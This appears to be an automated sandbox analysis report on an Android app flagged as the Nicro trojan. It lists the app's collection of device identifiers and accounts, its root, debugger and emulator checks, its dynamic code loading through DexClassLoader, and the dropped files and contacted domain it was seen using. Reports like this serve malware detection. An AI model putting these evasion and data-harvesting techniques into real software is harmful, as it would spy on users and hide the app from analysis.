Source: a.a.a.c;->a:14Field Access: android.os.Build.MODEL
Source: a.a.a.c;->a:21Field Access: android.os.Build.BOARD
Source: a.a.a.c;->a:28Field Access: android.os.Build.BRAND
Source: a.a.a.c;->a:35Field Access: android.os.Build.DEVICE
Source: a.a.a.c;->a:49Field Access: android.os.Build.PRODUCT
Source: b.a.q;->a:292Field Access: android.os.Build$VERSION.RELEASE
Source: b.a.q;->a:313Field Access: android.os.Build.MODEL
Source: b.a.q;->a:316Field Access: android.os.Build.BOARD
Source: b.a.q;->a:319Field Access: android.os.Build.BRAND
Source: b.a.q;->a:324Field Access: android.os.Build.MANUFACTURER
Source: b.a.q;->a:327Field Access: android.os.Build.ID
Source: b.a.q;->a:330Field Access: android.os.Build.DEVICE
Source: b.a.w;->a:22Field Access: android.os.Build.MODEL
Source: b.a.w;->a:26Field Access: android.os.Build$VERSION.RELEASE
Source: com.omg.base.phone.factoryimpl.PhoneController;->a:7Field Access: android.os.Build.MODEL
Source: com.omg.base.phone.factoryimpl.PhoneController;->a:10Field Access: android.os.Build.BOARD
Source: com.omg.base.phone.factoryimpl.PhoneController;->a:13Field Access: android.os.Build.DEVICE
Source: com.omg.base.phone.factoryimpl.PhoneController;->a:16Field Access: android.os.Build.MANUFACTURER
Source: com.omg.base.phone.factoryimpl.PhoneController;->a:19Field Access: android.os.Build.PRODUCT
Source: com.lody.virtual.client.hook.proxies.location.LocationManagerStub;->onBindMethods:41Field Access: android.os.Build$VERSION.RELEASE
Source: sdk.nicro.lu.b;->a:3Field Access: android.os.Build.MODEL
Source: sdk.nicro.lu.l;->a:12Field Access: android.os.Build.MODEL
Source: sdk.nicro.lu.l;->a:14Field Access: android.os.Build.MANUFACTURER
Source: sdk.nicro.lu.l;->a:16Field Access: android.os.Build.PRODUCT
Source: sdk.nicro.lu.p$2;->a:4Field Access: android.os.Build.MODEL
Source: sdk.nicro.lu.p;->a:3Field Access: android.os.Build.MODEL
Source: sdk.nicro.lu.s$a;-><init>:2Field Access: android.os.Build.PRODUCT
Source: sdk.nicro.lu.s$a;-><init>:4Field Access: android.os.Build.MODEL
Source: sdk.nicro.lu.s$a;-><init>:9Field Access: android.os.Build$VERSION.RELEASE
Source: sdk.nicro.lu.s$c;-><init>:7Field Access: android.os.Build.MODEL
Source: com.lody.virtual.client.hook.proxies.notification.NotificationManagerStub;->onBindMethods:43Field Access: android.os.Build.BRAND
Source: com.lody.virtual.client.hook.proxies.notification.NotificationManagerStub;->onBindMethods:46Field Access: android.os.Build.MANUFACTURER
Source: com.omg.plugin.PluginContext$DexClassLoaderPluginContext;->loadPluginPackage:16Field Access: android.os.Build.MODEL
Source: sdk.nicro.lu.ps.b;->a:24Field Access: android.os.Build.TYPE
Source: sdk.nicro.lu.ps.e;->a:23Field Access: android.os.Build.MODEL
Source: sdk.nicro.lu.ps.e;->a:25Field Access: android.os.Build.PRODUCT
Source: sdk.nicro.lu.ps.e;->a:27Field Access: android.os.Build$VERSION.RELEASE
Source: sdk.nicro.lu.ps.f$b;->b:5Field Access: android.os.Build.MODEL
Source: sdk.nicro.lu.ps.f$b;->b:20Field Access: android.os.Build.MANUFACTURER
Source: sdk.nicro.lu.ps.f$d;->c:5Field Access: android.os.Build.MODEL
Source: sdk.nicro.lu.ps.f$d;->c:20Field Access: android.os.Build.MANUFACTURER
Source: com.taobao.android.runtime.AndroidRuntime;->trace:16Field Access: android.os.Build.MODEL
Source: com.taobao.android.runtime.AndroidRuntime;->trace:20Field Access: android.os.Build$VERSION.RELEASE
Source: com.taobao.android.runtime.AndroidRuntime;->init:79Field Access: android.os.Build.BRAND
Source: com.omg.tool.FileCreator;->getDir:3Field Access: android.os.Build.DEVICE
Source: com.omg.tool.FileCreator;->getDir:5Field Access: android.os.Build.PRODUCT
Source: com.omg.tool.FileCreator;->getDir:7Field Access: android.os.Build$VERSION.RELEASE
Queries several sensitive phone informationsShow sources
Source: Lb/a/q;->a([I)Lorg/json/JSONObject;Method string: "os"
Source: Lcom/lody/virtual/server/am/ActivityStack;->getCallingPackage(ILandroid/os/IBinder;)Ljava/lang/String;Method string: "android"
Source: Lb/a/q;->a([I)Lorg/json/JSONObject;Method string: "cpu"
Source: Lcom/omg/base/network/objects/TerminalInfo;->fromJson(Ljava/lang/String;)VMethod string: "imsi"
Source: Lcom/omg/base/network/serializer/MessageCodec;->c(Ljava/lang/Class;)ZMethod string: "type"
Source: Lb/a/ak;-><clinit>()VMethod string: "version"
Source: Lcom/omg/base/phone/factoryimpl/PhoneController;->a(Landroid/content/Context;)VMethod string: "manufacturer"
Source: Lcom/lody/virtual/client/hook/proxies/telephony/TelephonyStub;-><init>()VMethod string: "phone"
Source: Lsdk/nicro/lu/s$c;->a()Ljava/lang/String;Method string: "appid"
Source: Lb/a/f;-><init>(Landroid/content/Context;)VMethod string: "imei"
Source: Lcom/omg/base/phone/factoryimpl/PhoneController;->a(Landroid/content/Context;)VMethod string: "model"
Source: Lsdk/nicro/lu/t$a;->d(Ljava/lang/String;)VMethod string: "sdk"
Queries the unique operating system id (ANDROID_ID)Show sources
Source: b.a.at;->A:6API Call: android.provider.Settings$Secure.getString
Source: b.a.at;->A:15API Call: android.provider.Settings$Secure.getString
Source: b.a.at;->A:27API Call: android.provider.Settings$Secure.getString
Source: b.a.at;->w:320API Call: android.provider.Settings$Secure.getString
Source: b.a.at;->z:347API Call: android.provider.Settings$Secure.getString
Source: b.a.at;->z:358API Call: android.provider.Settings$Secure.getString
Source: b.a.at;->z:368API Call: android.provider.Settings$Secure.getString
Source: b.a.cz;->a:6API Call: android.provider.Settings$Secure.getString
Tries to query CPU infoShow sources
Source: com.inasmuch.trample.Fly;->deceive:19API Call: java.lang.ProcessBuilder.start
Source: com.omgSdk.outport.GetParamsUtil;->w:6API Call: java.lang.ProcessBuilder.start
Source: com.omgSdk.outport.AntiEmulator;->c:51API Call: java.lang.ProcessBuilder.start
Source: sdk.nicro.lu.ps.b;->c:88API Call: java.lang.ProcessBuilder.start

Anti Debugging:

barindex
Checks if app is currently debuggedShow sources
Source: Lsdk/nicro/lu/ps/b;->a(Landroid/content/Context;Lorg/json/JSONObject;)VMethod string: s_debug
Source: Lsdk/nicro/lu/ps/b;->a(Landroid/content/Context;Lorg/json/JSONObject;)VMethod string: ro.debuggable
Source: Lsdk/nicro/lu/ps/b;->a(Landroid/content/Context;Lorg/json/JSONObject;)VMethod string: s_appDebug
Creates a new jar file (likely to load a new code)Show sources
Source: com.convenience.amplify.Faithful;->chairman:11API Call: java.io.File.__construct /data/data/air.nu.strafwerk.takecontrol/cache/1178572636/9377583.jar
Tries to detect Bluestack emulatorShow sources
Source: Lcom/omgSdk/outport/GetParamsUtil;->s()ZMethod string: "/data/data/com.bluestacks.setup"
Source: Lcom/omgSdk/outport/GetParamsUtil;->s()ZMethod string: "/data/data/com.bluestacks.appsettings"
Source: Lcom/omgSdk/outport/GetParamsUtil;->s()ZMethod string: "/data/app/com.bluestacks.help-1.apk"
Source: Lcom/omgSdk/outport/GetParamsUtil;->s()ZMethod string: "/data/data/com.bluestacks.bstfolder"
Source: Lcom/omgSdk/outport/GetParamsUtil;->s()ZMethod string: "/data/app/com.bluestacks.BstCommandProcessor-1.apk"
Source: Lcom/omgSdk/outport/GetParamsUtil;->s()ZMethod string: "/data/data/com.bluestacks.spotlight"
Source: Lcom/omgSdk/outport/GetParamsUtil;->s()ZMethod string: "/mnt/prebundledapps/bluestacks.prop.orig"
Source: Lcom/omgSdk/outport/GetParamsUtil;->s()ZMethod string: "/data/bluestacks.prop"
Source: Lcom/omgSdk/outport/GetParamsUtil;->s()ZMethod string: "/data/data/com.bluestacks.help"
Source: Lcom/omgSdk/outport/GetParamsUtil;->s()ZMethod string: "/data/app/com.bluestacks.appmart-1.apk"
Source: Lcom/omgSdk/outport/GetParamsUtil;->s()ZMethod string: "/data/data/com.bluestacks.home"
Source: Lcom/omgSdk/outport/GetParamsUtil;->s()ZMethod string: "/data/data/com.bluestacks.BstCommandProcessor"
Source: Lcom/omgSdk/outport/GetParamsUtil;->s()ZMethod string: "/data/data/com.bluestacks.appfinder"
Source: Lcom/omgSdk/outport/GetParamsUtil;->s()ZMethod string: "/data/data/com.bluestacks.settings"
Source: Lcom/omgSdk/outport/GetParamsUtil;->s()ZMethod string: "/data/app/com.bluestacks.searchapp-1.apk"
Source: Lcom/omgSdk/outport/GetParamsUtil;->s()ZMethod string: "/data/app/com.bluestacks.s2p-1.apk"
Source: Lcom/omgSdk/outport/GetParamsUtil;->s()ZMethod string: "/data/data/com.androVM.vmconfig"
Source: Lcom/omgSdk/outport/GetParamsUtil;->s()ZMethod string: "/data/app/com.bluestacks.home-1.apk"
Source: Lcom/omgSdk/outport/GetParamsUtil;->s()ZMethod string: "/data/data/com.bluestacks.s2p"
Source: Lcom/omgSdk/outport/GetParamsUtil;->s()ZMethod string: "/data/data/com.bluestacks.accelerometerui"
Source: Lcom/omgSdk/outport/GetParamsUtil;->s()ZMethod string: "/data/data/com.bluestacks.appmart"
Source: Lcom/omgSdk/outport/GetParamsUtil;->s()ZMethod string: "/data/data/com.bluestacks.searchapp"
Source: Lcom/omgSdk/outport/AntiEmulator;-><clinit>()VMethod string: "/data/data/com.bluestacks.setup"
Source: Lcom/omgSdk/outport/AntiEmulator;-><clinit>()VMethod string: "/data/data/com.bluestacks.appsettings"
Source: Lcom/omgSdk/outport/AntiEmulator;-><clinit>()VMethod string: "/data/app/com.bluestacks.help-1.apk"
Source: Lcom/omgSdk/outport/AntiEmulator;-><clinit>()VMethod string: "/data/data/com.bluestacks.bstfolder"
Source: Lcom/omgSdk/outport/AntiEmulator;-><clinit>()VMethod string: "/data/app/com.bluestacks.BstCommandProcessor-1.apk"
Source: Lcom/omgSdk/outport/AntiEmulator;-><clinit>()VMethod string: "/data/data/com.bluestacks.spotlight"
Source: Lcom/omgSdk/outport/AntiEmulator;-><clinit>()VMethod string: "/mnt/prebundledapps/bluestacks.prop.orig"
Source: Lcom/omgSdk/outport/AntiEmulator;-><clinit>()VMethod string: "/data/bluestacks.prop"
Source: Lcom/omgSdk/outport/AntiEmulator;-><clinit>()VMethod string: "/data/data/com.bluestacks.help"
Source: Lcom/omgSdk/outport/AntiEmulator;-><clinit>()VMethod string: "/data/app/com.bluestacks.appmart-1.apk"
Source: Lcom/omgSdk/outport/AntiEmulator;-><clinit>()VMethod string: "/data/data/com.bluestacks.home"
Source: Lcom/omgSdk/outport/AntiEmulator;-><clinit>()VMethod string: "/data/data/com.bluestacks.appfinder"
Source: Lcom/omgSdk/outport/AntiEmulator;-><clinit>()VMethod string: "/data/data/com.bluestacks.BstCommandProcessor"
Source: Lcom/omgSdk/outport/AntiEmulator;-><clinit>()VMethod string: "/data/data/com.bluestacks.settings"
Source: Lcom/omgSdk/outport/AntiEmulator;-><clinit>()VMethod string: "/data/app/com.bluestacks.searchapp-1.apk"
Source: Lcom/omgSdk/outport/AntiEmulator;-><clinit>()VMethod string: "/data/app/com.bluestacks.s2p-1.apk"
Source: Lcom/omgSdk/outport/AntiEmulator;-><clinit>()VMethod string: "/data/data/com.androVM.vmconfig"
Source: Lcom/omgSdk/outport/AntiEmulator;-><clinit>()VMethod string: "/data/app/com.bluestacks.home-1.apk"
Source: Lcom/omgSdk/outport/AntiEmulator;-><clinit>()VMethod string: "/data/data/com.bluestacks.s2p"
Source: Lcom/omgSdk/outport/AntiEmulator;-><clinit>()VMethod string: "/data/data/com.bluestacks.accelerometerui"
Source: Lcom/omgSdk/outport/AntiEmulator;-><clinit>()VMethod string: "/data/data/com.bluestacks.appmart"
Source: Lcom/omgSdk/outport/AntiEmulator;-><clinit>()VMethod string: "/data/data/com.bluestacks.searchapp"
Source: Lsdk/nicro/lu/ps/b;-><clinit>()VMethod string: "/data/data/com.bluestacks.setup"
Source: Lsdk/nicro/lu/ps/b;-><clinit>()VMethod string: "/data/data/com.bluestacks.appsettings"
Source: Lsdk/nicro/lu/ps/b;-><clinit>()VMethod string: "/data/app/com.bluestacks.help-1.apk"
Source: Lsdk/nicro/lu/ps/b;-><clinit>()VMethod string: "/data/data/com.bluestacks.bstfolder"
Source: Lsdk/nicro/lu/ps/b;-><clinit>()VMethod string: "/data/app/com.bluestacks.BstCommandProcessor-1.apk"
Source: Lsdk/nicro/lu/ps/b;-><clinit>()VMethod string: "/data/data/com.bluestacks.spotlight"
Source: Lsdk/nicro/lu/ps/b;-><clinit>()VMethod string: "/mnt/prebundledapps/bluestacks.prop.orig"
Source: Lsdk/nicro/lu/ps/b;-><clinit>()VMethod string: "/data/bluestacks.prop"
Source: Lsdk/nicro/lu/ps/b;-><clinit>()VMethod string: "/data/data/com.bluestacks.help"
Source: Lsdk/nicro/lu/ps/b;-><clinit>()VMethod string: "/data/app/com.bluestacks.appmart-1.apk"
Source: Lsdk/nicro/lu/ps/b;-><clinit>()VMethod string: "/data/data/com.bluestacks.home"
Source: Lsdk/nicro/lu/ps/b;-><clinit>()VMethod string: "/data/data/com.bluestacks.appfinder"
Source: Lsdk/nicro/lu/ps/b;-><clinit>()VMethod string: "/data/data/com.bluestacks.BstCommandProcessor"
Source: Lsdk/nicro/lu/ps/b;-><clinit>()VMethod string: "/data/data/com.bluestacks.settings"
Source: Lsdk/nicro/lu/ps/b;-><clinit>()VMethod string: "/data/app/com.bluestacks.searchapp-1.apk"
Source: Lsdk/nicro/lu/ps/b;-><clinit>()VMethod string: "/data/app/com.bluestacks.s2p-1.apk"
Source: Lsdk/nicro/lu/ps/b;-><clinit>()VMethod string: "/data/data/com.androVM.vmconfig"
Source: Lsdk/nicro/lu/ps/b;-><clinit>()VMethod string: "/data/app/com.bluestacks.home-1.apk"
Source: Lsdk/nicro/lu/ps/b;-><clinit>()VMethod string: "/data/data/com.bluestacks.s2p"
Source: Lsdk/nicro/lu/ps/b;-><clinit>()VMethod string: "/data/data/com.bluestacks.accelerometerui"
Source: Lsdk/nicro/lu/ps/b;-><clinit>()VMethod string: "/data/data/com.bluestacks.appmart"
Source: Lsdk/nicro/lu/ps/b;-><clinit>()VMethod string: "/data/data/com.bluestacks.searchapp"

HIPS / PFW / Operating System Protection Evasion:

barindex
Uses the DexClassLoader (often used for code injection)Show sources
Source: com.full.naturally.Assist;->intention:33API Call: dalvik.system.DexClassLoader.__construct("/data/data/air.nu.strafwerk.takecontrol/cache/1178572636/9377583.jar")
Source: com.full.naturally.Assist;->intention:36API Call: dalvik.system.DexClassLoader.loadClass("com.sdk.entry.SdkEntry")
Source: com.omgSdk.andoclib.Admob;->loadMiddlePlugin:186API Call: dalvik.system.DexClassLoader.<init> (not executed)
Source: com.omgSdk.andoclib.Admob;->loadMiddlePlugin:207API Call: dalvik.system.DexClassLoader.loadClass (not executed)
Source: com.omgSdk.andoclib.Admob;->onDestroy:256API Call: dalvik.system.DexClassLoader.loadClass (not executed)
Source: a.a.b.b;->a:126API Call: dalvik.system.DexClassLoader.<init> (not executed)
Source: com.omgSdk.commen.d;->a:102API Call: dalvik.system.DexClassLoader.<init> (not executed)
Source: com.omgSdk.commen.d;->a:119API Call: dalvik.system.DexClassLoader.loadClass (not executed)
Source: com.sdk.entry.LoadVSdk;->loaderPath:44API Call: dalvik.system.DexClassLoader.<init> (not executed)
Source: com.omg.plugin.PluginContext$DexClassLoaderPluginContext;->loadPluginPackage:54API Call: dalvik.system.DexClassLoader.<init> (not executed)
Source: com.omg.plugin.PluginContext$DexClassLoaderPluginContext;->loadPluginPackage:85API Call: dalvik.system.DexClassLoader.<init> (not executed)
Source: com.omg.plugin.PluginContext$ResourcesPluginContext;->a:46API Call: dalvik.system.DexClassLoader.<init> (not executed)
Source: sdk.nicro.lu.ps.f$b;->b:41API Call: dalvik.system.DexClassLoader.<init> (not executed)
Source: sdk.nicro.lu.ps.f$b;->b:67API Call: dalvik.system.DexClassLoader.<init> (not executed)
Source: sdk.nicro.lu.ps.f$d;->c:41API Call: dalvik.system.DexClassLoader.<init> (not executed)
Source: sdk.nicro.lu.ps.f$d;->c:57API Call: dalvik.system.DexClassLoader.<init> (not executed)
Source: com.taobao.android.runtime.ClassLoaderInjectorAboveApi14;->injectAboveEqualApiLevel14:30API Call: dalvik.system.DexClassLoader.<init> (not executed)
Source: com.taobao.android.runtime.ClassLoaderInjectorAliyunOs;->injectInAliyunOs:5API Call: dalvik.system.DexClassLoader.<init> (not executed)
Source: com.taobao.android.runtime.ClassLoaderInjectorBelowApiLevel14;->injectBelowApiLevel14:6API Call: dalvik.system.DexClassLoader.<init> (not executed)
Source: com.omg.tool.Loader$AssetsClassLoader;->a:45API Call: dalvik.system.DexClassLoader.<init> (not executed)
Source: com.omg.tool.Loader$ResourceClassLoader;->a:40API Call: dalvik.system.DexClassLoader.<init> (not executed)

Language, Device and Operating System Detection:

barindex
Checks if phone is rooted (checks for Superuser.apk)Show sources
Source: com.omgSdk.outport.GetParamsUtil;->f:134API Call: java.io.File.__construct("/system/app/Superuser.apk")
Checks if phone is rooted (checks for su binary)Show sources
Source: Lsdk/nicro/lu/s$a;->c()BMethod string: "/system/bin/", "su" and API call "File.exists" in same context
Checks if phone is rooted (checks for test-keys build tags)Show sources
Source: com.omgSdk.outport.GetParamsUtil;->f:123API Call: java.lang.String.contains("test-keys")
Queries the WIFI MAC addressShow sources
Source: b.a.at;->y:337API Call: android.net.wifi.WifiInfo.getMacAddress
Queries the network MAC addressShow sources
Source: b.a.at;->b:108API Call: java.net.NetworkInterface.getHardwareAddress
Source: sdk.nicro.lu.s$a;->u:202API Call: java.net.NetworkInterface.getHardwareAddress
Source: com.omg.base.terminal.OmgPhoneInfo;->getMacAddress:15API Call: java.net.NetworkInterface.getHardwareAddress
Queries the network operator nameShow sources
Source: b.a.at;->g:183API Call: android.telephony.TelephonyManager.getNetworkOperatorName
Queries the unqiue device ID (IMEI, MEID or ESN)Show sources
Source: com.omg.base.phone.factoryimpl.SingleSimController;->a:4API Call: android.telephony.TelephonyManager.getSubscriberId
Source: com.omg.base.phone.factoryimpl.SingleSimController;->b:8API Call: android.telephony.TelephonyManager.getDeviceId
Source: b.a.at;->B:41API Call: android.telephony.TelephonyManager.getDeviceId
Source: b.a.at;->f:176API Call: android.telephony.TelephonyManager.getSubscriberId
Source: b.a.at;->w:316API Call: android.telephony.TelephonyManager.getDeviceId
Source: b.a.f;->a:9API Call: android.telephony.TelephonyManager.getDeviceId
Source: sdk.nicro.lu.r;->c:15API Call: android.telephony.TelephonyManager.getSubscriberId
Source: sdk.nicro.lu.s$a;-><init>:24API Call: android.telephony.TelephonyManager.getSubscriberId
Source: sdk.nicro.lu.s$a;-><init>:26API Call: android.telephony.TelephonyManager.getDeviceId
Source: com.omg.tool.net.NetProxyManager;->a:4API Call: android.telephony.TelephonyManager.getSubscriberId

Stealing of Sensitive Information:

barindex
Sets itself as the default SMS applicationShow sources
Source: Lcom/lody/virtual/client/env/SpecialComponentList;-><clinit>()VMethod string: "android.provider.Telephony.SMS_DELIVER"
Uses accessibility services (likely to control other applications)Show sources
Source: com.omgSdk.andoclib.AutoAccessibilityService;->a:84API Call: android.view.accessibility.AccessibilityNodeInfo.findAccessibilityNodeInfosByText
Source: com.omgSdk.andoclib.AutoAccessibilityService;->a:92API Call: android.view.accessibility.AccessibilityNodeInfo.findAccessibilityNodeInfosByText
Source: com.omgSdk.andoclib.AutoAccessibilityService;->a:100API Call: android.view.accessibility.AccessibilityNodeInfo.findAccessibilityNodeInfosByText
Source: com.omgSdk.andoclib.AutoAccessibilityService;->a:245API Call: android.view.accessibility.AccessibilityNodeInfo.findAccessibilityNodeInfosByText
Source: com.omgSdk.andoclib.AutoAccessibilityService;->c:398API Call: android.view.accessibility.AccessibilityNodeInfo.findAccessibilityNodeInfosByText
Source: com.omgSdk.andoclib.AutoAccessibilityService;->c:403API Call: android.view.accessibility.AccessibilityNodeInfo.findAccessibilityNodeInfosByText
Source: com.omgSdk.andoclib.AutoAccessibilityService;->c:408API Call: android.view.accessibility.AccessibilityNodeInfo.findAccessibilityNodeInfosByText
Checks if a SIM card is installedShow sources
Source: sdk.nicro.lu.r;->b:10API Call: android.telephony.TelephonyManager.getSimState
Has permission to read low-level log files (spy personal data)Show sources
Source: submitted apkRequest permission: android.permission.READ_LOGS
Has permission to read the phones state (phone number, device IDs, active call ect.)Show sources
Source: submitted apkRequest permission: android.permission.READ_PHONE_STATE
Has permissions to create, read or change account settings (inlcuding account password settings)Show sources
Source: submitted apkRequest permission: android.permission.AUTHENTICATE_ACCOUNTS
Source: submitted apkRequest permission: android.permission.GET_ACCOUNTS
Source: submitted apkRequest permission: android.permission.MANAGE_ACCOUNTS
Queries a list of installed applicationsShow sources
Source: com.omgSdk.outport.AntiEmulator;->a:29API Call: android.content.pm.PackageManager.getInstalledApplications
Source: com.omgSdk.outport.GetParamsUtil;->x:22API Call: android.content.pm.PackageManager.getInstalledApplications
Source: com.omgSdk.outport.GetParamsUtil;->o:248API Call: android.content.pm.PackageManager.getInstalledApplications
Source: sdk.nicro.lu.ps.b;->d:138API Call: android.content.pm.PackageManager.getInstalledApplications
Queries camera informationShow sources
Source: com.omgSdk.outport.GetParamsUtil;->k:177API Call: android.hardware.Camera.getNumberOfCameras
Queries list of installed packagesShow sources
Source: com.omgSdk.andoclib.f;->d:225API Call: android.content.pm.PackageManager.getInstalledPackages
Source: com.omgSdk.outport.BackgroundService;->b:168API Call: android.content.pm.PackageManager.getInstalledPackages
Source: com.omgSdk.outport.SdkLauncher;->hasApp:52API Call: android.content.pm.PackageManager.getInstalledPackages
Source: com.lody.virtual.client.hook.proxies.pm.MethodProxies$GetInstalledPackages;->call:15API Call: android.content.pm.PackageManager.getInstalledPackages
Source: sdk.nicro.lu.ps.PluginServer;->d:261API Call: android.content.pm.PackageManager.getInstalledPackages
Queries stored mail and application accounts (e.g. Gmail or Whatsup)Show sources
Source: com.lody.virtual.server.accounts.VAccount;-><init>:3API Call: android.accounts.Account.name
Source: com.lody.virtual.server.accounts.VAccount;-><init>:4API Call: android.accounts.Account.type
Source: com.lody.virtual.server.accounts.VAccountManagerService;->getAccount:52API Call: android.accounts.Account.name
Source: com.lody.virtual.server.accounts.VAccountManagerService;->getAccount:53API Call: android.accounts.Account.type
Source: com.lody.virtual.server.accounts.VAccountManagerService;->removeAccountInternal:187API Call: android.accounts.Account.name
Source: com.lody.virtual.server.accounts.VAccountManagerService;->removeAccountInternal:189API Call: android.accounts.Account.type
Source: com.lody.virtual.server.accounts.VAccountManagerService;->confirmCredentials:282API Call: android.accounts.Account.type
Source: com.lody.virtual.server.accounts.VAccountManagerService;->confirmCredentials:287API Call: android.accounts.Account.name
Source: com.lody.virtual.server.accounts.VAccountManagerService;->getAuthToken:334API Call: android.accounts.Account.type
Source: com.lody.virtual.server.accounts.VAccountManagerService;->getAuthToken:358API Call: android.accounts.Account.name
Source: com.lody.virtual.server.accounts.VAccountManagerService;->getAuthToken:361API Call: android.accounts.Account.type
Source: com.lody.virtual.server.accounts.VAccountManagerService;->getAuthToken:369API Call: android.accounts.Account.name
Source: com.lody.virtual.server.accounts.VAccountManagerService;->getAuthToken:372API Call: android.accounts.Account.type
Source: com.lody.virtual.server.accounts.VAccountManagerService;->getAuthToken:375API Call: android.accounts.Account.name
Source: com.lody.virtual.server.accounts.VAccountManagerService;->hasFeatures:423API Call: android.accounts.Account.type
Source: com.lody.virtual.server.accounts.VAccountManagerService;->hasFeatures:428API Call: android.accounts.Account.name
Source: com.lody.virtual.server.accounts.VAccountManagerService;->removeAccount:483API Call: android.accounts.Account.type
Source: com.lody.virtual.server.accounts.VAccountManagerService;->removeAccount:488API Call: android.accounts.Account.name
Source: com.lody.virtual.server.accounts.VAccountManagerService;->renameAccount:497API Call: android.accounts.Account.name
Source: com.lody.virtual.server.accounts.VAccountManagerService;->renameAccount:500API Call: android.accounts.Account.type
Source: com.lody.virtual.server.accounts.VAccountManagerService;->updateCredentials:533API Call: android.accounts.Account.type
Source: com.lody.virtual.server.accounts.VAccountManagerService;->updateCredentials:538API Call: android.accounts.Account.name
Source: com.lody.virtual.server.accounts.VContentService;->isAccountExist:36API Call: android.accounts.Account.type
Source: com.tmk.ywb.activity.ChooseTypeAndAccountActivity;->getAcceptableAccountChoices:10API Call: android.accounts.Account.type
Source: com.tmk.ywb.activity.ChooseTypeAndAccountActivity;->getItemIndexToSelect:24API Call: android.accounts.Account.name
Source: com.tmk.ywb.activity.ChooseTypeAndAccountActivity;->getListOfDisplayableOptions:29API Call: android.accounts.Account.name
Source: com.tmk.ywb.activity.ChooseTypeAndAccountActivity;->onAccountSelected:49API Call: android.accounts.Account.name
Source: com.tmk.ywb.activity.ChooseTypeAndAccountActivity;->onAccountSelected:50API Call: android.accounts.Account.type
Source: com.tmk.ywb.activity.ChooseTypeAndAccountActivity;->onActivityResult:175API Call: android.accounts.Account.name
Source: com.tmk.ywb.activity.ChooseTypeAndAccountActivity;->onActivityResult:176API Call: android.accounts.Account.type
Source: com.tmk.ywb.activity.ChooseTypeAndAccountActivity;->onCreate:211API Call: android.accounts.Account.name
Source: com.tmk.ywb.activity.ChooseTypeAndAccountActivity;->onSaveInstanceState:265API Call: android.accounts.Account.name
Source: com.omgSdk.outport.GetParamsUtil;->l:184API Call: android.accounts.AccountManager.getAccounts
Source: com.omgSdk.outport.GetParamsUtil;->l:189API Call: android.accounts.Account.name
Source: com.omgSdk.outport.GetParamsUtil;->l:196API Call: android.accounts.Account.type
Source: com.omgSdk.outport.GetParamsUtil;->l:200API Call: android.accounts.Account.type

Remote Access Functionality:

barindex
Detected Trojan NicroShow sources
Source: Lcom/inasmuch/trample/Fly;->mountainous(Ljava/lang/Class;Ljava/lang/Object;Ljava/lang/String;[Ljava/lang/Class;[Ljava/lang/Object;)Ljava/lang/Object;Method string: Nicro strings
Found suspicious command strings (may be related to BOT commands)Show sources
Source: Lcom/lody/virtual/client/hook/proxies/phonesubinfo/PhoneSubInfoStub;->onBindMethods()VMethod string: "getimeiforsubscriber"
Source: Lcom/lody/virtual/client/env/SpecialComponentList;-><clinit>()VInstruction: "sget-object v1, lcom/lody/virtual/client/env/specialcomponentlist;->spec_system_app_list:ljava/util/hashset;"
Source: Ladj;->prepareForDrop(Landroid/view/View;Landroid/view/View;II)VInstruction: "iget-boolean v4, p0, ladj;->mshouldreverselayout:z"
Source: Lcom/lody/virtual/client/hook/proxies/phonesubinfo/PhoneSubInfoStub;->onBindMethods()VInstruction: "const-string v1, "getimeiforsubscriber""
Has permission to mount or unmount file systems (removable storage)Show sources
Source: submitted apkRequest permission: android.permission.MOUNT_UNMOUNT_FILESYSTEMS

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

No Antivirus matches

Dropped Files

No Antivirus matches

Domains

No Antivirus matches

URLs

No Antivirus matches

Yara Overview

Initial Sample

No yara matches

PCAP (Network Traffic)

No yara matches

Dropped Files

No yara matches

Screenshots

Thumbnails

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

android-buttoncam-android

Created / dropped Files

/data/data/air.nu.strafwerk.takecontrol/cache/07f457cd737b20bb7c8673ca1c8f0470.apk
File Type:Zip archive data
Size (bytes):579118
Entropy (8bit):7.9844547838882125
Encrypted:false
MD5:1660DAA8FDEB23A3257D7AF5C21DD325
SHA1:29C2EC10914BBB4B3FE220D61F462C5BD33C1DFC
SHA-256:B3ECB10583B0C48A026B4E50EDC8114AAED032A2AD077B7362913201EBC23536
SHA-512:3A65E07FFF9180791E7A8D22CD2EFBB98BE7528BCA4F595948D191774525C210E2E9B802058745242D55D8DC600625A350882907833063AF29BE41815D94E598
Malicious:true
Reputation:low
Preview:
/data/data/air.nu.strafwerk.takecontrol/cache/1178572636/9377583.jar
File Type:Zip archive data, at least v2.0 to extract
Size (bytes):209117
Entropy (8bit):7.988241778329766
Encrypted:false
MD5:8D4AEA853A0476DF5EF6BFA031D4D5CB
SHA1:91B65613D96348DF49C4ECABE9E38D0D5FC712EC
SHA-256:27C7439E1DBAA9F368E4C1B95E9D0B8B7819593D0092ED19EB84DFC52182795C
SHA-512:D174CCD71E676B6FC376600F15238A55BCA6E931606EF81001691CC2621E87CC4F7233CA82328396106C3F0AF624CD30CDA0323E50A14F5D2D52A1534982AE20
Malicious:true
Reputation:low
Preview:
/data/data/air.nu.strafwerk.takecontrol/cache/1822699421/372935144.jar
File Type:Zip archive data, at least v2.0 to extract
Size (bytes):209117
Entropy (8bit):7.988241778329766
Encrypted:false
MD5:8D4AEA853A0476DF5EF6BFA031D4D5CB
SHA1:91B65613D96348DF49C4ECABE9E38D0D5FC712EC
SHA-256:27C7439E1DBAA9F368E4C1B95E9D0B8B7819593D0092ED19EB84DFC52182795C
SHA-512:D174CCD71E676B6FC376600F15238A55BCA6E931606EF81001691CC2621E87CC4F7233CA82328396106C3F0AF624CD30CDA0323E50A14F5D2D52A1534982AE20
Malicious:false
Reputation:low
Preview:

Domains and IPs

Contacted Domains

NameIPActiveMaliciousAntivirus DetectionReputation
api.niumobi.com
35.190.63.127
truefalse
    unknown

    URLs from Memory and Binaries

    NameSourceMaliciousAntivirus DetectionReputation
    http://alog.umengcloud.com/app_logsandroidfalse
      unknown
      http://schemas.android.com/apk/res/android00android.support.v7.widget.FitWindowsLinearLayoutabc_dialog_title_material.xmlfalse
        high
        http://schemas.android.com/apk/res/androidabc_tint_switch_thumb.xml, abc_slide_in_top.xml, abc_list_menu_item_icon.xmlfalse
          high
          https://uop.umeng.comandroidfalse
            high
            http://alog.umeng.com/app_logsandroidfalse
              high
              http://xmlpull.org/v1/doc/features.html#indent-outputandroidfalse
                unknown
                http://schemas.android.com/apk/res/android00android.support.v7.widget.FitWindowsLinearLayout((androiabc_screen_simple.xmlfalse
                  high
